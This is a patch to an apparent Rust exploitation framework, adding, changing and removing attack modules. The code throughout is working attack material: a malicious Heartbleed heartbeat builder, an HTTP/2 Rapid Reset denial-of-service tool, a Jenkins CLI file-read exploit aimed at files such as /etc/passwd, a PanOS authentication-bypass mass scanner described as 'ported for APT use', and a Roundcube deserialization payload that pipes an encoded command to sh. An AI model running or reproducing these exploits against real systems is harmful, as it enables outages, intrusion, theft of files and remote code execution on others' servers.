let cipher_suites: Vec<u16> = vec![
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
@@ -427,18 +122,18 @@ fn build_client_hello() -> Vec<u8> {
let mut hello = vec![];
hello.extend_from_slice(&version.to_be_bytes());
hello.extend_from_slice(&random);
hello.push(0);
hello.extend_from_slice(&((cipher_suites.len() * 2) as u16).to_be_bytes());
hello.push(0); // Session ID length
hello.extend_from_slice(&(cipher_suites.len() as u16 * 2).to_be_bytes());
for cs in &cipher_suites {
hello.extend_from_slice(&cs.to_be_bytes());
}
hello.push(1);
hello.push(0);
hello.push(1); // Compression methods length
hello.push(0); // No compression
let mut extensions = vec![];
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
extensions.push(0x01);
extensions.push(0x01); // Extension data
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
hello.extend_from_slice(&extensions);
@@ -451,12 +146,14 @@ fn build_client_hello() -> Vec<u8> {
build_tls_record(0x16, version, &handshake)
}
/// Builds a malicious Heartbeat request
fn build_heartbeat_request(length: u16) -> Vec<u8> {
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
build_tls_record(0x18, 0x0302, &payload)
}
/// Wraps payload in a TLS record
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
let mut record = vec![record_type];
record.extend_from_slice(&version.to_be_bytes());
@@ -465,13 +162,13 @@ fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
record
}
/// Converts binary leak to printable ASCII
fn printable_dump(data: &[u8]) -> String {
data.iter()
.map(|b| match *b {
32..=126 => *b as char,
b'\n' => '\n',
b'\r' | b'\t' => ' ',
b'\n' | b'\r' | b'\t' => ' ',
_ => '.',
})
.collect()
}
}
@@ -1,445 +0,0 @@
// CVE-2023-44487 - HTTP/2 Rapid Reset Denial of Service
// Exploit Author: Madhusudhan Rajappa
// Date: 29th August 2025
// Version: HTTP/2.0
use anyhow::{anyhow, Context, Result};
use colored::*;
use h2::client::Builder;
use std::io::{self, Write};
use std::net::ToSocketAddrs;
use std::time::{Duration, Instant};
use tokio::net::TcpStream;
use tokio::time::timeout;
use tokio_rustls::TlsConnector;
/// Displays module banner
fn banner() {
println!(
"{}",
r#"
╔═══════════════════════════════════════════════════════════╗
║ CVE-2023-44487 HTTP/2 Rapid Reset DoS Vulnerability ║
║ Tester ║
║ ║
║ WARNING: Only use on systems you own or have ║
║ permission to test! ║
╚═══════════════════════════════════════════════════════════╝
"#
.cyan()
);
}
/// Normalize IPv6 host with brackets
fn normalize_host(host: &str) -> String {
let stripped = host.trim_matches(|c| c == '[' || c == ']');
if stripped.contains(':') {
format!("[{}]", stripped)
} else {
stripped.to_string()
}
}
/// Perform baseline test with normal HTTP/2 requests
async fn baseline_test(
host: &str,
port: u16,
use_ssl: bool,
num_requests: usize,
) -> Result<()> {
println!("{}", format!("\n[*] Performing baseline test with {} normal requests...", num_requests).yellow());
let host_normalized = normalize_host(host);
let addr = format!("{}:{}", host_normalized, port);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream = TcpStream::connect(socket_addr).await?;
if use_ssl {
let root_store = tokio_rustls::rustls::RootCertStore::empty();
let config = tokio_rustls::rustls::ClientConfig::builder()
.with_safe_defaults()
.with_root_certificates(root_store)
.with_no_client_auth();
let connector = TlsConnector::from(std::sync::Arc::new(config));
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
.map_err(|_| anyhow!("Invalid server name"))?;
let tls_stream = connector.connect(server_name, stream).await?;
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(tls_stream)
.await?;
// Spawn connection task
tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut successful = 0;
let start = Instant::now();
for i in 0..num_requests {
let request = http::Request::builder()
.uri(format!("https://{}:{}/", host, port))
.body(())
.unwrap();
match sender.send_request(request, true) {
Ok(_send_stream) => {
// Request sent successfully with end_of_stream=true
successful += 1;
}
Err(_) => {
break;
}
}
if i < num_requests - 1 {
tokio::time::sleep(Duration::from_millis(100)).await;
}
}
let duration = start.elapsed();
println!("{}", format!("[+] Baseline Results:").green());
println!(" Total Requests: {}", num_requests);
println!(" Successful: {}", successful);
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
println!(" Duration: {:.3}s", duration.as_secs_f64());
} else {
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(stream)
.await?;
// Spawn connection task
tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut successful = 0;
let start = Instant::now();
for i in 0..num_requests {
let request = http::Request::builder()
.uri(format!("http://{}:{}/", host, port))
.body(())
.unwrap();
match sender.send_request(request, true) {
Ok(_send_stream) => {
// Request sent successfully with end_of_stream=true
successful += 1;
}
Err(_) => {
break;
}
}
if i < num_requests - 1 {
tokio::time::sleep(Duration::from_millis(100)).await;
}
}
let duration = start.elapsed();
println!("{}", format!("[+] Baseline Results:").green());
println!(" Total Requests: {}", num_requests);
println!(" Successful: {}", successful);
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
println!(" Duration: {:.3}s", duration.as_secs_f64());
}
Ok(())
}
/// Perform rapid reset attack test
async fn rapid_reset_test(
host: &str,
port: u16,
use_ssl: bool,
num_streams: usize,
delay_ms: u64,
) -> Result<()> {
println!("{}", format!("\n[*] Starting rapid reset test with {} streams...", num_streams).yellow());
let host_normalized = normalize_host(host);
let addr = format!("{}:{}", host_normalized, port);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream = TcpStream::connect(socket_addr).await?;
if use_ssl {
let root_store = tokio_rustls::rustls::RootCertStore::empty();
let config = tokio_rustls::rustls::ClientConfig::builder()
.with_safe_defaults()
.with_root_certificates(root_store)
.with_no_client_auth();
let connector = TlsConnector::from(std::sync::Arc::new(config));
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
.map_err(|_| anyhow!("Invalid server name"))?;
let tls_stream = connector.connect(server_name, stream).await?;
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(tls_stream)
.await?;
// Spawn connection task
let connection_task = tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut created_streams = Vec::new();
let start = Instant::now();
// Phase 1: Rapidly create streams
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
for i in 0..num_streams {
let request = http::Request::builder()
.uri(format!("https://{}:{}/", host, port))
.header("user-agent", "CVE-2023-44487-Tester/1.0")
.body(())
.unwrap();
match sender.send_request(request, false) {
Ok((_response_future, send_stream)) => {
created_streams.push(send_stream);
if delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
}
}
Err(e) => {
println!("{}", format!("[-] Error creating stream {}: {:?}", i, e).red());
break;
}
}
}
let creation_duration = start.elapsed();
println!("{}", format!("[+] Created {} streams in {:.3}s", created_streams.len(), creation_duration.as_secs_f64()).green());
// Phase 2: Rapidly reset all streams
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
let reset_start = Instant::now();
let mut reset_count = 0;
for mut send_stream in created_streams {
// Send RST_STREAM - send_stream has a send_reset method
send_stream.send_reset(h2::Reason::CANCEL);
reset_count += 1;
if delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
}
}
let reset_duration = reset_start.elapsed();
let total_duration = start.elapsed();
let reset_rate = if reset_duration.as_secs_f64() > 0.0 {
reset_count as f64 / reset_duration.as_secs_f64()
} else {
0.0
};
println!("{}", format!("[+] Reset {} streams in {:.3}s", reset_count, reset_duration.as_secs_f64()).green());
println!("{}", format!("[+] Reset Rate: {:.1} resets/second", reset_rate).green());
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
// Phase 3: Analysis
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
if reset_rate > 1000.0 {
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
} else if reset_rate > 100.0 {
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
println!("{}", " Further testing may be needed".yellow());
} else {
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
println!("{}", " This suggests some protection against the vulnerability".green());
}
// Cleanup
drop(sender);
let _ = timeout(Duration::from_secs(2), connection_task).await;
} else {
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(stream)
.await?;
// Spawn connection task
let connection_task = tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut created_streams = Vec::new();
let start = Instant::now();
// Phase 1: Rapidly create streams
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
for i in 0..num_streams {
let request = http::Request::builder()
.uri(format!("http://{}:{}/", host, port))
.header("user-agent", "CVE-2023-44487-Tester/1.0")
.body(())
.unwrap();
match sender.send_request(request, false) {
Ok((_response_future, send_stream)) => {
created_streams.push(send_stream);
if delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
}
}
Err(e) => {
println!("{}", format!("[-] Error creating stream {}: {:?}", i, e).red());
break;
}
}
}
let creation_duration = start.elapsed();
println!("{}", format!("[+] Created {} streams in {:.3}s", created_streams.len(), creation_duration.as_secs_f64()).green());
// Phase 2: Rapidly reset all streams
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
let reset_start = Instant::now();
let mut reset_count = 0;
for mut send_stream in created_streams {
// Send RST_STREAM - send_stream has a send_reset method
send_stream.send_reset(h2::Reason::CANCEL);
reset_count += 1;
if delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
}
}
let reset_duration = reset_start.elapsed();
let total_duration = start.elapsed();
let reset_rate = if reset_duration.as_secs_f64() > 0.0 {
reset_count as f64 / reset_duration.as_secs_f64()
} else {
0.0
};
println!("{}", format!("[+] Reset {} streams in {:.3}s", reset_count, reset_duration.as_secs_f64()).green());
println!("{}", format!("[+] Reset Rate: {:.1} resets/second", reset_rate).green());
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
// Phase 3: Analysis
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
if reset_rate > 1000.0 {
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
} else if reset_rate > 100.0 {
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
println!("{}", " Further testing may be needed".yellow());
} else {
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
println!("{}", " This suggests some protection against the vulnerability".green());
}
// Cleanup
drop(sender);
let _ = timeout(Duration::from_secs(2), connection_task).await;
}
Ok(())
}
/// Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
banner();
// Parse target (could be host:port or just host)
let (host, default_port) = if let Some(colon_pos) = target.rfind(':') {
let h = &target[..colon_pos];
let p = target[colon_pos + 1..].parse::<u16>().unwrap_or(443);
(h.to_string(), p)
} else {
(target.to_string(), 443)
};
// Interactive prompts
let mut port_input = String::new();
print!("{}", format!("Enter target port (default {}): ", default_port).cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut port_input)?;
let port: u16 = port_input.trim().parse().unwrap_or(default_port);
let mut ssl_input = String::new();
print!("{}", "Use SSL/TLS? (yes/no, default yes): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut ssl_input)?;
let use_ssl = !ssl_input.trim().to_lowercase().starts_with('n');
let mut streams_input = String::new();
print!("{}", "Number of streams for rapid reset test (default 100): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut streams_input)?;
let num_streams: usize = streams_input.trim().parse().unwrap_or(100);
let mut delay_input = String::new();
print!("{}", "Delay between operations in ms (default 1): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut delay_input)?;
let delay_ms: u64 = delay_input.trim().parse().unwrap_or(1);
let mut baseline_input = String::new();
print!("{}", "Run baseline test first? (yes/no, default yes): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut baseline_input)?;
let run_baseline = !baseline_input.trim().to_lowercase().starts_with('n');
println!("\n{}", "=".repeat(60).cyan());
println!("{}", format!("Target: {}:{}", host, port).yellow());
println!("{}", format!("SSL: {}", if use_ssl { "Enabled" } else { "Disabled" }).yellow());
println!("{}", "=".repeat(60).cyan());
// Legal disclaimer
println!("\n{}", "LEGAL DISCLAIMER:".red().bold());
println!("This tool is for authorized security testing only.");
println!("Ensure you have permission to test the target system.");
println!("Unauthorized use may be illegal.\n");
let mut confirm = String::new();
print!("{}", "Do you have permission to test this system? (yes/no): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut confirm)?;
if !confirm.trim().to_lowercase().starts_with('y') {
println!("{}", "Exiting. Only use this tool on systems you're authorized to test.".red());
return Ok(());
}
// Run baseline test
if run_baseline {
if let Err(e) = baseline_test(&host, port, use_ssl, 10).await {
println!("{}", format!("[-] Baseline test error: {}", e).red());
}
}
// Run rapid reset test
if let Err(e) = rapid_reset_test(&host, port, use_ssl, num_streams, delay_ms).await {
println!("{}", format!("[-] Rapid reset test error: {}", e).red());
}
println!("\n{}", "[*] Test completed.".cyan());
Ok(())
}
-2
View File
@@ -1,2 +0,0 @@
pub mod cve_2023_44487_http2_rapid_reset;
@@ -1,238 +0,0 @@
use std::io::{self, Write};
use std::sync::{Arc, Mutex};
use std::time::Duration;
use anyhow::{Result, bail, Context};
use colored::*;
use tokio::time::sleep;
use reqwest::{Client};
use uuid::Uuid;
use regex::Regex;
const TIMEOUT_SECS: u64 = 4;
#[derive(Clone)]
struct ExploitState {
url: String,
identifier: String,
client: Client,
listening: Arc<Mutex<bool>>,
}
impl ExploitState {
fn new(url: String, identifier: String) -> Self {
let client = Client::builder()
.timeout(Duration::from_secs(TIMEOUT_SECS))
.build()
.expect("Failed to create HTTP client");
Self {
url,
identifier,
client,
listening: Arc::new(Mutex::new(false)),
}
}
async fn listen_and_print(&self) -> Result<()> {
let response = self.client
.post(&self.url)
.query(&[("remoting", "false")])
.header("Side", "download")
.header("Session", &self.identifier)
.send()
.await
.context("Failed to connect to target for listener")?;
let output = response.text().await?;
self.print_formatted_output(&output);
*self.listening.lock().unwrap() = false;
Ok(())
}
fn print_formatted_output(&self, output: &str) {
if output.contains("ERROR: No such file") {
println!("{}", "File not found.".red());
return;
} else if output.contains("ERROR: Failed to parse") {
println!("{}", "Could not read file.".red());
return;
}
let re = Regex::new(r#"No such agent "(.*)" exists."#).unwrap();
let results: Vec<String> = re
.captures_iter(output)
.filter_map(|cap| cap.get(1).map(|m| m.as_str().to_string()))
.collect();
if !results.is_empty() {
for line in results {
println!("{}", line);
}
}
}
async fn send_file_request(&self, filepath: &str) -> Result<()> {
let payload = get_payload(filepath);
self.client
.post(&self.url)
.query(&[("remoting", "false")])
.header("Side", "upload")
.header("Session", &self.identifier)
.body(payload)
.send()
.await
.context("Failed to send file request")?;
Ok(())
}
async fn read_file(&self, filepath: &str) -> Result<()> {
*self.listening.lock().unwrap() = true;
sleep(Duration::from_millis(100)).await;
if let Err(e) = self.send_file_request(filepath).await {
*self.listening.lock().unwrap() = false;
return Err(e);
}
while *self.listening.lock().unwrap() {
sleep(Duration::from_millis(100)).await;
}
self.listen_and_print().await?;
Ok(())
}
}
fn get_payload_message(operation_index: u8, text: &str) -> Vec<u8> {
let text_bytes = text.as_bytes();
let text_size = text_bytes.len() as u16;
let mut text_message = Vec::new();
text_message.extend_from_slice(&text_size.to_be_bytes());
text_message.extend_from_slice(text_bytes);
let message_size = text_message.len() as u32;
let mut payload = Vec::new();
payload.extend_from_slice(&message_size.to_be_bytes());
payload.push(operation_index);
payload.extend_from_slice(&text_message);
payload
}
fn get_payload(filepath: &str) -> Vec<u8> {
let arg_operation = 0u8;
let start_operation = 3u8;
let command = get_payload_message(arg_operation, "connect-node");
let poisoned_argument = get_payload_message(arg_operation, &format!("@{}", filepath));
let mut payload = Vec::new();
payload.extend_from_slice(&command);
payload.extend_from_slice(&poisoned_argument);
payload.push(start_operation);
payload
}
fn make_path_absolute(filepath: &str) -> String {
if filepath.starts_with('/') {
filepath.to_string()
} else {
format!("/proc/self/cwd/{}", filepath)
}
}
fn format_target_url(url: &str) -> String {
let url = url.trim_end_matches('/');
format!("{}/cli", url)
}
async fn start_interactive_file_read(state: ExploitState) -> Result<()> {
println!("{}", "Press Ctrl+C to exit".cyan());
loop {
print!("{}", "File to download:\n> ".green().bold());
io::stdout().flush()?;
let mut input = String::new();
match io::stdin().read_line(&mut input) {
Ok(0) => break,
Ok(_) => {
let filepath = input.trim();
if filepath.is_empty() {
continue;
}
let absolute_path = make_path_absolute(filepath);
match state.read_file(&absolute_path).await {
Ok(_) => {}
Err(e) => {
if e.to_string().contains("timeout") {
println!("{}", "Payload request timed out.".yellow());
} else {
println!("{}", format!("Error: {}", e).red());
}
}
}
}
Err(e) => {
eprintln!("Error reading input: {}", e);
break;
}
}
}
Ok(())
}
pub async fn run(args: &str) -> Result<()> {
let parts: Vec<&str> = args.split_whitespace().collect();
if parts.is_empty() {
bail!("Usage: <url> [filepath]\nExample: http://example.com/ /etc/passwd");
}
let url = format_target_url(parts[0]);
let filepath = parts.get(1).map(|s| s.to_string());
let identifier = Uuid::new_v4().to_string();
println!("{}", format!("[*] Target: {}", url).cyan().bold());
println!("{}", format!("[*] Session ID: {}", identifier).cyan());
let state = ExploitState::new(url, identifier);
if let Some(path) = filepath {
let absolute_path = make_path_absolute(&path);
println!("{}", format!("[*] Reading file: {}", absolute_path).cyan());
match state.read_file(&absolute_path).await {
Ok(_) => println!("{}", "[+] File read complete".green().bold()),
Err(e) => {
if e.to_string().contains("timeout") {
println!("{}", "[-] Payload request timed out.".red());
} else {
println!("{}", format!("[-] Error: {}", e).red());
}
}
}
} else {
match start_interactive_file_read(state).await {
Ok(_) => {}
Err(e) => {
if !e.to_string().contains("Interrupted") {
eprintln!("Error: {}", e);
}
}
}
println!("\n{}", "Quitting".yellow());
}
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod jenkins_2_441_lfi;
+2 -4
View File
@@ -13,8 +13,6 @@ pub mod acti;
pub mod zte;
pub mod ivanti;
pub mod apache_tomcat;
pub mod palo_alto;
pub mod palto_alto;
pub mod roundcube;
pub mod flowise;
pub mod http2;
pub mod jenkins;
@@ -1,9 +1,6 @@
// Filename: cve_2025_0108.rs
// CVE-2025-0108 - PanOS Authentication Bypass
// Author: iSee857
// Ported to Rust by ethical hacker daniel for APT use
use anyhow::{Context, Result, bail};
use anyhow::{Result, bail};
use colored::*;
use reqwest::Client;
use std::{
@@ -14,7 +11,11 @@ use std::{
};
use url::Url;
/// Displays module banner
/// // CVE-2025-0108 - PanOS Authentication Bypass
/// // Author: iSee857
/// // Ported to Rust by ethical hacker daniel for APT use
/// // Displays module banner
fn banner() {
println!(
"{}",
@@ -29,27 +30,14 @@ fn banner() {
);
}
/// Reads target list from file
/// // Reads target list from file
fn read_file(file_path: &str) -> Result<Vec<String>> {
let file = File::open(file_path)
.with_context(|| format!("Failed to open file: {}", file_path))?;
let file = File::open(file_path)?;
let reader = BufReader::new(file);
let urls: Vec<String> = reader
.lines()
.filter_map(|line| {
let line = line.ok()?;
let trimmed = line.trim();
if trimmed.is_empty() || trimmed.starts_with('#') {
None
} else {
Some(trimmed.to_string())
}
})
.collect();
Ok(urls)
Ok(reader.lines().filter_map(Result::ok).collect())
}
/// Normalize IPv6 host with double or triple brackets
/// // Normalize IPv6 host with double or triple brackets
fn normalize_ipv6_host(host: &str) -> String {
let stripped = host.trim_matches(|c| c == '[' || c == ']');
if stripped.contains(':') {
@@ -59,14 +47,14 @@ fn normalize_ipv6_host(host: &str) -> String {
}
}
/// Constructs the full normalized URL
/// // Constructs the full normalized URL
fn normalize_url(host: &str, port: u16, proto: &str) -> Option<String> {
let host = normalize_ipv6_host(host);
let base = format!("{}{}:{}", proto, host, port);
Url::parse(&base).ok().map(|u| u.to_string())
}
/// Opens a URL in the default system browser
/// // Opens a URL in the default system browser
fn open_browser(url: &str) -> Result<()> {
#[cfg(target_os = "linux")]
let cmd = Command::new("xdg-open").arg(url).spawn();
@@ -83,7 +71,7 @@ fn open_browser(url: &str) -> Result<()> {
Ok(())
}
/// Executes CVE-2025-0108 check
/// // Executes CVE-2025-0108 check
async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
let protocols = ["http://", "https://"];
let path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css";
@@ -91,7 +79,7 @@ async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
for proto in &protocols {
if let Some(base_url) = normalize_url(url, port, proto) {
let full_url = format!("{}{}", base_url.trim_end_matches('/'), path);
println!("{}", format!("[*] Testing: {}", full_url).yellow());
println!("{}", full_url);
let resp = client.get(&full_url).send().await;
@@ -102,25 +90,11 @@ async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
if status.as_u16() == 200 && body.contains("Zero Touch Provisioning") {
println!(
"{}",
format!("[+] Find: {}:{} PanOS_CVE-2025-0108_LoginByPass!", url, port)
.green()
.bold()
format!("Find: {}:{} PanOS_CVE-2025-0108_LoginByPass!", url, port).red()
);
println!("{}", format!("[*] Vulnerable URL: {}", full_url).cyan());
let _ = open_browser(&full_url);
return Ok(true);
} else {
println!(
"{}",
format!("[-] Not vulnerable: {}:{} - Response code: {}", url, port, status.as_u16())
.red()
);
}
} else {
println!(
"{}",
format!("[-] Error connecting to {}:{}", url, port).red()
);
}
}
}
@@ -128,12 +102,13 @@ async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
Ok(false)
}
/// Main entry point for auto-dispatch system
/// // Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
banner();
let mut port_input = String::new();
print!("{}", "Enter target port (default 443): ".cyan().bold());
print!("Enter target port (default 443): ");
io::stdout().flush()?;
io::stdin().read_line(&mut port_input)?;
let port: u16 = port_input.trim().parse().unwrap_or(443);
@@ -141,24 +116,15 @@ pub async fn run(target: &str) -> Result<()> {
let client = Client::builder()
.timeout(Duration::from_secs(10))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to create HTTP client")?;
.build()?;
if target.ends_with(".txt") {
let urls = read_file(target)?;
if urls.is_empty() {
return Err(anyhow::anyhow!("No URLs found in file: {}", target));
}
println!("{}", format!("[*] Loaded {} URLs from file", urls.len()).yellow());
let mut vulnerable_count = 0;
for url in urls {
if check(&url, port, &client).await? {
vulnerable_count += 1;
}
let _ = check(&url, port, &client).await;
}
println!("{}", format!("[*] Scan completed. Found {} vulnerable target(s)", vulnerable_count).cyan());
} else {
let _ = check(target, port, &client).await?;
let _ = check(target, port, &client).await;
}
Ok(())
+1 -2
View File
@@ -1,5 +1,4 @@
use anyhow::Result;
use colored::*;
use rand::{seq::SliceRandom, rng};
use std::{
fs,
@@ -10,7 +9,7 @@ use std::{
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
fn prompt(prompt: &str) -> Result<String> {
print!("{}", prompt.cyan().bold());
print!("{prompt}");
io::stdout().flush()?;
let mut buffer = String::new();
io::stdin().read_line(&mut buffer)?;
@@ -4,7 +4,6 @@
use rand::prelude::*;
use anyhow::Result;
use colored::*;
use rand::{rng, seq::SliceRandom, Rng};
use std::io::{self, Write as IoWrite};
use tokio::fs::File as TokioFile;
@@ -286,8 +285,7 @@ call :SleepS {random_sleep_lo}
/// // Prompt user, fallback to default if empty input
fn prompt(msg: &str, default: Option<&str>) -> String {
let default_str = default.map_or("".to_string(), |d| format!(" [{}]", d));
print!("{}", format!("{}{}: ", msg, default_str).cyan().bold());
print!("{}{}: ", msg, default.map_or("".to_string(), |d| format!(" [{}]", d)));
io::stdout().flush().unwrap();
let mut input = String::new();
io::stdin().read_line(&mut input).unwrap();
@@ -2,14 +2,15 @@ use anyhow::{anyhow, Result};
use data_encoding::BASE32_NOPAD;
use md5;
use rand::Rng;
use rand::distr::Alphanumeric;
use base64::Engine as _;
use regex::Regex;
use reqwest::{Client, cookie::Jar, redirect::Policy};
use std::io::{self, Write};
use std::sync::Arc;
use std::time::{SystemTime, UNIX_EPOCH};
use rand::distr::Alphanumeric;
/// // Decode base64 constant for small transparent PNG
/// Decode base64 constant for small transparent PNG
fn transparent_png() -> Vec<u8> {
const PNG_B64: &str = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==";
base64::engine::general_purpose::STANDARD
@@ -17,7 +18,7 @@ fn transparent_png() -> Vec<u8> {
.unwrap_or_default()
}
/// // Build the serialized PHP payload using Crypt_GPG_Engine gadget
/// Build the serialized PHP payload using Crypt_GPG_Engine gadget
fn build_serialized_payload(cmd: &str) -> String {
let encoded = BASE32_NOPAD.encode(cmd.as_bytes());
let gpgconf = format!("echo \"{}\"|base32 -d|sh &#", encoded);
@@ -30,13 +31,13 @@ fn build_serialized_payload(cmd: &str) -> String {
fn generate_from() -> &'static str {
const OPTIONS: [&str; 6] = ["compose", "reply", "import", "settings", "folders", "identity"];
let idx = rand::rng().random_range(0..OPTIONS.len());
let idx = rand::thread_rng().gen_range(0..OPTIONS.len());
OPTIONS[idx]
}
fn generate_id() -> String {
let mut rand_bytes = [0u8; 8];
rand::rng().fill(&mut rand_bytes);
rand::thread_rng().fill(&mut rand_bytes);
let timestamp = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
@@ -116,8 +117,8 @@ async fn login(client: &Client, base: &str, username: &str, password: &str, host
async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<()> {
let png = transparent_png();
let boundary: String = rand::rng()
.sample_iter(&Alphanumeric)
let boundary: String = rand::thread_rng()
.sample_iter(Alphanumeric)
.take(8)
.map(char::from)
.collect();
@@ -151,7 +152,7 @@ async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<(
Ok(())
}
/// // Entry point for dispatcher
/// Entry point for dispatcher
pub async fn run(target: &str) -> Result<()> {
let mut base_url = target.trim().to_string();
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
@@ -159,7 +160,7 @@ pub async fn run(target: &str) -> Result<()> {
}
base_url = base_url.trim_end_matches('/').to_string();
// // HTTP client with cookies and no redirects
// HTTP client with cookies and no redirects
let jar = Jar::default();
let client = Client::builder()
.cookie_provider(Arc::new(jar))
@@ -213,3 +214,4 @@ pub async fn run(target: &str) -> Result<()> {
let serialized = build_serialized_payload(command);
upload_payload(&client, &base_url, &serialized).await
}
+6 -23
View File
@@ -1,29 +1,12 @@
use anyhow::{Context, Result};
use colored::*;
use reqwest::Client;
use std::time::Duration;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
use anyhow::{Result, Context};
use reqwest;
/// A basic demonstration exploit that checks if a specific endpoint is "vulnerable"
pub async fn run(target: &str) -> Result<()> {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Sample Exploit Module - Demonstration ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!("{}", format!("[*] Target: {}", target).yellow());
let client = Client::builder()
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to build HTTP client")?;
println!("[*] Running sample_exploit against target: {}", target);
let url = format!("http://{}/vulnerable_endpoint", target);
println!("{}", format!("[*] Checking: {}", url).cyan());
let resp = client
.get(&url)
.send()
let resp = reqwest::get(&url)
.await
.context("Failed to send request")?
.text()
@@ -31,9 +14,9 @@ pub async fn run(target: &str) -> Result<()> {
.context("Failed to read response")?;
if resp.contains("Vulnerable!") {
println!("{}", "[+] Target is vulnerable!".green().bold());
println!("[+] Target is vulnerable!");
} else {
println!("{}", "[-] Target does not appear to be vulnerable.".red());
println!("[-] Target does not appear to be vulnerable.");
}
Ok(())
+4 -5
View File
@@ -4,7 +4,6 @@
//// no auth when you use api and can be excuted locally
//// src/modules/exploits/spotube/spotube.rs
use anyhow::{Context, Result};
use colored::*;
use futures_util::{SinkExt, StreamExt};
use reqwest::Client;
use serde_json::json;
@@ -72,7 +71,7 @@ async fn execute(host: &str, port: &str, path: &str) -> Result<()> {
// //// // Sends a malicious 'load' event over WS with a track name containing ../
async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
// prompt for malicious filename
print!("{}", "Enter malicious filename (e.g. ../evil.sh): ".cyan().bold());
print!("Enter malicious filename (e.g. ../evil.sh): ");
io::stdout().flush()?;
let mut name = String::new();
io::stdin().read_line(&mut name)?;
@@ -82,7 +81,7 @@ async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
};
// prompt for fake track ID
print!("{}", "Enter fake track ID (e.g. INJECT1): ".cyan().bold());
print!("Enter fake track ID (e.g. INJECT1): ");
io::stdout().flush()?;
let mut tid = String::new();
io::stdin().read_line(&mut tid)?;
@@ -92,7 +91,7 @@ async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
};
// prompt for codec extension
print!("{}", "Enter codec extension (e.g. mp3): ".cyan().bold());
print!("Enter codec extension (e.g. mp3): ");
io::stdout().flush()?;
let mut cd = String::new();
io::stdin().read_line(&mut cd)?;
@@ -155,7 +154,7 @@ pub async fn run(target: &str) -> Result<()> {
